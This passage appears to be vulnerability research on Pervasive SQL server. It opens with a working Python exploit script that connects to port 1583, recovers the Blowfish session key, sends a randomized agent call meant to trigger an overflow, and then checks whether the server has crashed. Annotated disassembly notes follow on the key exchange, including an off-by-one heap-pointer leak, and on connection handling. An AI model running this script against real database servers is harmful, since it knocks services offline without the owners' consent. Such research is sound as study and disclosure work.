ver, parc=1, enc=1): class greet_response(ct.Structure): _pack_ = 1 _fields_ = [ ('pad1',c_byte*92), ('ntdll!_except_handler_4',c_uint32), ('pad2',c_byte*104), ('stack_f8',c_uint32), # %ebp-f8 ('pad3',c_byte*24), ('heapaddress',c_uint32), ('pad4',c_byte*4), ('stack_e8',c_uint32), # %ebp-e8 ('pad5',c_byte*4), ('stack_b8',c_uint32), # %ebp-b8 ('pad6',c_byte*0x7), ] buf = '' if parc: buf += ' Client string for PARC version %d'% ver if enc: buf += ' Wire Encryption version %d'% ver res = s.send(buf + '\x00'*(0xff - len(buf))) if res != 0xff: raise Exception, "Unable to send entire handshake " assert ct.sizeof(greet_response) == 0xff return recv_littleendian(s, greet_response) # key negotiation KEY = '\xd6\x24\x69\x93\x5e\xa4\x69\x54\x9f\x3f\x4b\xd4\x81\xc6\x2a\xbb\xc4\x87\xe4\x49\x7a\x75\x79\xec\xe1\xc5\x99\x16\x55\x9c\x8d\xf5\xe4\x3a\x09\xcf\x09\x21\xe7\xb1\x93\xc4\xb6\x4f\x03\x81\x83\xf3\xe5\x3b\xa0\x1c\xac\x97\x39\x53' def negotiate(s, length=0x400): class negotiate_greet(ct.Structure): _pack_ = 1 _fields_ = [ ('padding', ct.c_byte*0x14), ('state1', ct.c_uint32), ('state2', ct.c_uint32), ] class negotiate_response(ct.Structure): _pack_ = 1 _fields_ = [ ('zero', ct.c_uint16), ('state', ct.c_uint16), ] data = negotiate_greet() data.state1 = random.randint(0,0xffffffff) # is either 1 or 0 data.state2 = random.randint(0,0xffffffff) send_bigendian(s, c_uint32(ct.sizeof(data) + (length-ct.sizeof(data)))) send_bigendian(s, data) s.send(''.join(map(chr,itertools.starmap(random.randint, ((0,0xff),)*(length-ct.sizeof(data)))))) size = recv_bigendian(s, c_uint32) return recv_littleendian(s, c_uint32*(size/4)) def extractxorkey(negotiationResponse): revkey = ''.join(reversed(KEY[-0x10:])) blowme = Blowfish(revkey) a,b = negotiationResponse[9],negotiationResponse[10] enc = (c_uint32*2)(a,b) res = buf_littleendian(enc) return blowme.decrypt(res) def extractkey(xorkey): data = array.array('B',xorkey) key = array.array('B',KEY) return ''.join(map(chr,itertools.starmap(operator.xor,itertools.izip(data,key)))) # agent def agentRequest(s, xorkey, header, data): blowme = Blowfish(xorkey[:7]) encrypt = lambda s,pad='\x00': ''.join(map(blowme.encrypt,map(''.join,zip(*(iter(s + pad*((8-len(s))%8)),)*8)))) send_bigendian(s, c_uint32(0x43455350)) assert ct.sizeof(header) == 0x10, 'Header is of invalid size' res = buf_bigendian(data) class PaddedEnding(ct.Structure): _pack_ = 1 _fields_ = [ ('End', c_uint8*7), ('Overlap', c_uint8), ] end = PaddedEnding() if len(res) & 7: end.End = end.End.__class__(*map(ord,res[-(len(res)&7):])) end.Overlap = 8-(len(res)&7) class fProtocolRequest(ct.Structure): _pack_ = 1 _fields_ = [ ('Header', header.__class__), ('Data', c_uint8*(len(res)&~7)), ('End', PaddedEnding), ] req = fProtocolRequest() req.Header = header req.Data = req.Data.__class__(*map(ord,res[:len(res)&~7])) req.End = end send_bigendian(s, c_uint32(ct.sizeof(req))) send_bigendian(s, req.Header) s.send(encrypt(buf_bigendian(req.Data))) s.send(encrypt(buf_bigendian(req.End))) return 4 + 4 + ct.sizeof(req) def agentCall(s, xorkey, call, pkt=None, **kwds): pHeader = c_uint32*4 class pAgentHeader(ct.BigEndianStructure): _pack_ = 1 _fields_ = [ ('v_arg_0', c_uint32), ('v_agentCall_4', c_uint32), ('vw_arg_8', c_uint16), ('vw_a', c_uint16), ('vw_arg_c', c_uint16), ] class pAgent(ct.Structure): _pack_ = 1 _fields_ = [ ('Header', pAgentHeader), ('Packet', pkt.__class__), ] agentHeader = pAgentHeader() for k,v in kwds.iteritems(): setattr(agentHeader,k,v) agentHeader.v_agentCall_4 = call nullpacket = (c_uint8*0)() protoHeader = pHeader(random.randint(0,0xffffffff), random.randint(0,0xffffffff), random.randint(0,0xffffffff), random.randint(0,0xffffffff)) protoData = pAgent(agentHeader, pkt or nullpacket) return agentRequest(s, xorkey, protoHeader, protoData) def srvLnaConnectMP1(s, xorkey, fourohoheight=True): class pPacket(ct.BigEndianStructure): _pack_ = 1 _fields_ = [ ('lv_int32_7268', c_uint32), ('lv_buffer_4004', c_uint8*1), ('lv_int32_5258', c_uint32), ('lv_int32_4008', (c_uint32*1) if fourohoheight else (c_uint32*0)), ] packet = pPacket() packet.lv_int32_7268 = 1 packet.lv_buffer_4004[0] = random.randint(0,0xff) packet.lv_int32_5258 = random.randint(0,0x2000) if fourohoheight: packet.lv_int32_4008[0] = random.randint(0,0xffffffff) return agentCall(s, xorkey, 0x41, packet, vw_arg_c=random.randint(2,0x7fff) if fourohoheight else random.randint(0,1)) if __name__ == '__main__': print '\n[handshake]' try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect((sys.argv[1], 1583)) except socket.error: print 'relational engine seems to be down, or it\'s not bound to port 1583.' sys.exit(1) res = greet(s, ver=1) print dump(res) # negotiation for keyexchange print '\n[negotiating for the key]' res = negotiate(s) print dump(res) xorkey = extractxorkey(res) print 'xorkey',xorkey.encode('hex') key = extractkey(xorkey) print 'key',key.encode('hex') # commands print '\n[making an agentCall -> srvLnaConnectMP1]' void = srvLnaConnectMP1(s, xorkey, fourohoheight=random.sample((True,False),1)[0]) # done, check if it's down print '\n[sleeping]' s.close() time.sleep(1) print '\n[checking server\'s status]' try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect((sys.argv[1], 1583)) s.close() except socket.error: print 'server is down' else: print 'unable to trigger overflow'
Key exchange in Pervasive SQL server
psql authentication uses 3 DLLs. psql exchanges a key with the client using blowfish to encode some of the packets that’re exchanged. This is first done by creating a credential object. Credential objects are handled by the pAgentCreate function which can be found by looking into the ThreadEntry_ServerStart function. The credential object is created within w3sqlmgr.dll:
.text:10007990 mov edx, CsmPtr .text:10007996 mov eax, [edx+0Ch] .text:10007999 push edi .text:1000799A push edi .text:1000799B push ebx .text:1000799C push edi .text:1000799D call eax ; w3csm100.dll!sub_10001040
This calls into the next function which allocates space for the credential object. The credential object reads the Wire Encryption Level that’s configured in the registry and uses it to determine how to authenticate. The default authentication has an Encryption Level of 2 and is a key exchange based on blowfish.
.text:10001073 mov ecx, [eax+0Ch] .text:10001076 push edx .text:10001077 mov edx, [ebp+arg_8] .text:1000107A push edx .text:1000107B lea edx, [ebp+var_18_object] .text:1000107E push edx .text:1000107F mov edx, [ebp+arg_0] .text:10001082 add eax, 0Ch .text:10001085 push edx .text:10001086 xor esi, esi .text:10001088 push eax .text:10001089 mov eax, [ecx+0Ch] .text:1000108C mov [ebp+var_14], esi .text:1000108F mov [ebp+var_18_object], esi .text:10001092 mov [ebp+var_4], esi .text:10001095 call eax ; 10002a00
Immediately after, this object is initialized. This attaches a 0x44 byte blowfish object and uses the Wire Encryption level that’s stored in the registry. Inside a 0x400 byte keyspace is allocated for.
.text:100079B2 loc_100079B2: .text:100079B2 mov eax, [ebx] .text:100079B4 mov ecx, CsmPtr .text:100079BA push edi .text:100079BB push edi .text:100079BC lea edx, [ebx+4] ; object written to here .text:100079BF push edx .text:100079C0 mov edx, [ecx+10h] .text:100079C3 push eax .text:100079C4 call edx ; w3csm100.dll!10001110
Eventually the server will call this function which grabs the Wire Encryption Level and allocates space to manage the key exchange.
.text:10002B6C mov edx, [ebp+arg_10] .text:10002B6F mov eax, [esi+8] .text:10002B72 push edx .text:10002B73 push eax .text:10002B74 mov eax, [ebp+arg_4_interfaceObject] .text:10002B77 push eax .text:10002B78 call sub_100057A0
The credential object is then passed to a function responsible for negotiating with the server for the key exchange. Inside this function, the server will allocate space for the key and use the address of the allocation as part of the key.
.text:100079D8 loc_100079D8: .text:100079D8 mov ecx, [ebp+var_20c] .text:100079DE push esi .text:100079DF push ecx .text:100079E0 push ebx ; arg_0_credential .text:100079E1 call ServerNegotiation .text:100079E6 add esp, 0Ch
In the server negotiation, this call inside w3sqlmgr.dll is executed to get to w3csm100.dll where the key is created.
.text:10006F7E lea edx, [ebp+var_900_values] .text:10006F84 push edx .text:10006F85 mov edx, CsmPtr .text:10006F8B lea ecx, [ebp+var_804_buffer] .text:10006F91 mov [ebp+var_8f0_buffer_ptr], ecx .text:10006F97 mov ecx, [ebp+var_818] .text:10006F9D lea eax, [ebp+var_898] .text:10006FA3 push eax .text:10006FA4 mov [ebp+var_8F4], ebx .text:10006FAA mov [ebp+var_8FC], 1 .text:10006FB4 mov eax, [edx+30h] .text:10006FB7 push ecx .text:10006FB8 call eax ; w3csm100.dll!10001550 .text:10006FBA mov [ebp+var_80c], eax
Once inside w3csm100.dll, this call will be entered. Another call in, the server will calculate a pointer to the key data which will be used to produce part of the key.
.text:1000520C mov ecx, [esi] .text:1000520E mov edx, [ecx+3Ch] .text:10005211 push esi .text:10005212 call edx ; w3csp100.dll!10004470 ... .text:100056D1 loc_100056D1: .text:100056D1 mov eax, [ebp+arg_0] .text:100056D4 mov edx, [eax] .text:100056D6 lea ebx, [esi+38h] ; this address is the first 4 bytes of the key .text:100056D9 push ebx ; points to object with key data .text:100056DA push edi ; number of bits of key .text:100056DB push eax .text:100056DC mov eax, [edx+0Ch] .text:100056DF call eax ; [] w3csp100.dll!10004470
Finally, the server will take the address that is passed as an argument and use it to generate the key. The server first allocates 4 bytes of memory and then writes the pointer to it. Afterwards, the server takes the number of bits for the blowfish key and divides by 8. This results in the server using 7 to iterate through a loop in the same function.
.text:10004496 push 4 .text:10004498 call ds:pscore::operator new(uint) .text:1000449E add esp, 4 .text:100044A1 .text:100044A1 mov ecx, [ebp+arg_8_key] .text:100044A4 mov edi, [ebp+arg_4_bits] .text:100044A7 shr edi, 3 .text:100044AA mov [eax], ecx .text:100044AC .text:100044AC mov esi, [ecx+8] ; key
At this point, the server will use the values in a table at offset b520 to xor 7 bytes of data located at the pointer that the key/pointer was written to previously in this function. The resulting 7 bytes after the xor is then used as a key in order to authenticate later.
.text:100044B8 mov ebx, offset xorkey_b520 .text:100044BD sub ebx, esi .text:100044BF mov [ebp+arg_4_size], ebx .text:100044C2 jmp short enterloop_key7times_44c7 .text:100044C4 ; --------------------------------------------------------------------------- .text:100044C4 .text:100044C4 loop_key7times: .text:100044C4 mov ebx, [ebp+arg_4_size] .text:100044C7 .text:100044C7 enterloop_key7times: .text:100044C7 mov bl, [ebx+esi] ; points to xor table .text:100044CA xor bl, [edx] .text:100044CC add edx, 1 .text:100044CF cmp ecx, 4 .text:100044D2 mov [esi], bl ; off by one, copies 5 bytes out of heap pointer .text:100044D4 jnz short continue_key7times .text:100044D6 xor ecx, ecx .text:100044D8 mov edx, eax .text:100044DA .text:100044DA continue_key7times: .text:100044DA add esi, 1 .text:100044DD add ecx, 1 .text:100044E0 sub edi, 1 .text:100044E3 jnz short loop_key7times
After returning, the server will finally get to the following code. This code will take the xorkey and use it to encrypt the negotiation with the client. This is done by the function at w3csp100.dll!10002370.
.text:10005415 0A0 8B 43 14 mov eax, [ebx+14h] .text:10005418 0A0 8B 10 mov edx, [eax] .text:1000541A 0A0 8B 52 14 mov edx, [edx+14h] .text:1000541D 0A0 8D 4D DC lea ecx, [ebp+var_24] .text:10005420 0A0 51 push ecx .text:10005421 0A4 83 C3 38 add ebx, 38h .text:10005424 0A4 53 push ebx ; pointer to key that was xored .text:10005425 0A8 6A 00 push 0 .text:10005427 0AC 6A 00 push 0 .text:10005429 0B0 50 push eax .text:1000542A 0B4 FF D2 call edx ; w3csp100.dll!10002370
The next key is made in a function in w3csp100.dll. There’s a global pointer containing a full blowfish key, however the server only takes the last 0x10 bytes of it and reverses it. These bytes are written into a stack variable at var_24.
.text:100023AC 090 33 C0 xor eax, eax .text:100023AE 090 8D 4B 37 lea ecx, [ebx+37h] .text:100023B1 .text:100023B1 loop_reverse_key: .text:100023B1 090 83 F8 10 cmp eax, 10h .text:100023B4 090 7D 12 jge short break_reverse_key .text:100023B6 .text:100023B6 090 8A 91 D0 B2 00 10 mov dl, blowfishkey[ecx] .text:100023BC 090 88 54 05 DC mov [ebp+eax+var_24_blowfishkey], dl .text:100023C0 090 83 C0 01 add eax, 1 .text:100023C3 090 83 E9 01 sub ecx, 1 .text:100023C6 090 EB E9 jmp short loop_reverse_key
After copying the key, the server will initialize a blowfish object using this value as the key. At this point, the server will then call EncryptNegotiation. EncryptNegotiation will write the xored pointer key into the packet encrypted with this blowfish object.
.text:100023C8 break_reverse_key: .text:100023C8 090 6A 10 push 10h .text:100023CA 094 8D 45 DC lea eax, [ebp+var_24_blowfishkey] .text:100023CD 094 50 push eax .text:100023CE 098 8D 4D B8 lea ecx, [ebp+var_48] .text:100023D1 098 E8 4A FE FF FF call ConstructBlowfishState .text:100023D6 .text:100023D6 090 57 push edi .text:100023D7 094 56 push esi ; xor key .text:100023D8 098 8D 4D C4 lea ecx, [ebp+var_48] .text:100023DB 098 51 push ecx .text:100023DC 09C C6 45 FC 01 mov byte ptr [ebp+var_4], 1 .text:100023E0 09C E8 BB FA FF FF call EncryptNegotiation
After the key is exchanged, only 7-bytes of the pointer that was copied out of the 4-byte heap-allocation are used to encrypt/decrypt communication with the server.
Pervasive SQL Server handle connection
The network interaction is mostly in w3sqlmgr.dll (version 12.01.031.000, based at 0x10000000) the entry point for the server can be located by identifying the code for instantiating a thread and then xreferencing until you find one that contains a string reference to “2530;SHM”. This function is created in a thread for handling every single connection that is made to the port.
The call to accept which grabs your client socket is later in the function at:
.text:10009E77 mov ecx, dword_100437E8 .text:10009E7D push ecx .text:10009E7E push edi .text:10009E7F call pAgentCreate .text:10009E84 add esp, 8
Inside the AgentCreate function is the call to NetAccept. This call will actually handle each accept call and then pass the handle to ThreadEntry_HandleConnection.
.text:1002078F jnz short loc_10020798 .text:10020791 call sub_100059D0 .text:10020796 jmp short loc_1002079D .text:10020798 .text:10020798 loc_10020798: .text:10020798 call NetAccept
The thread for ThreadEntry_HandleConnection is created here. This thread will be spawned for each client socket and will actually do the handshake that is required to authenticate to the server. This handler is at address 0x100093F0.
.text:10009EB3 lea eax, [ebp+var_190] .text:10009EB9 push eax .text:10009EBA push 0 .text:10009EBC push esi .text:10009EBD push offset ThreadEntry_HandleConnection .text:10009EC2 push 0 .text:10009EC4 push 0 .text:10009EC6 call ds:_beginthreadex
Inside this callback, upon the first call to it, a list of callbacks is registered for each agent identifier. This list of callbacks handles each agent id or command that is submitted to the tcp port. Right below this function call is a call to AgentRead. This function actually handles the protocol’s packets.
.text:100209E8 push offset fSrvLnaCallbacks .text:100209ED call fSrvLnaInit .text:100209F2 add esp, 4 .text:100209F5 mov dword_10043D28, 1 .text:100209FF loc_100209FF: .text:100209FF push edi .text:10020A00 push esi .text:10020A01 call fAgentRead
The structure that’s used to interact with the network socket looks like this.
00000000 NetObject struc ; (sizeof=0x10) 00000000 NetAccept dd ? 00000004 NetClose dd ? 00000008 i32NetSend dd ? 0000000C i32NetRead dd ? 00000010 NetObject ends
Anytime you see a call that looks like the following, this is actually a dynamic call using the structure above. In this case, this is actually a call to i32NetRead. Below these calls are usually a BufGet_TYPE function which will convert the packet data that’s read from the socket into a higher-level data structure. You can see all the various types in the linux binary as their compiler contains a bunch of exports that begin with BufGet_XXXXXXX
.text:10007234 mov edx, [ebp+var_18] .text:10007237 mov eax, [esi+0Ch] .text:1000723A mov ecx, [ebx+0Ch] ; i32NetRead .text:1000723D push edx .text:1000723E push eax .text:1000723F push edi .text:10007240 call ecx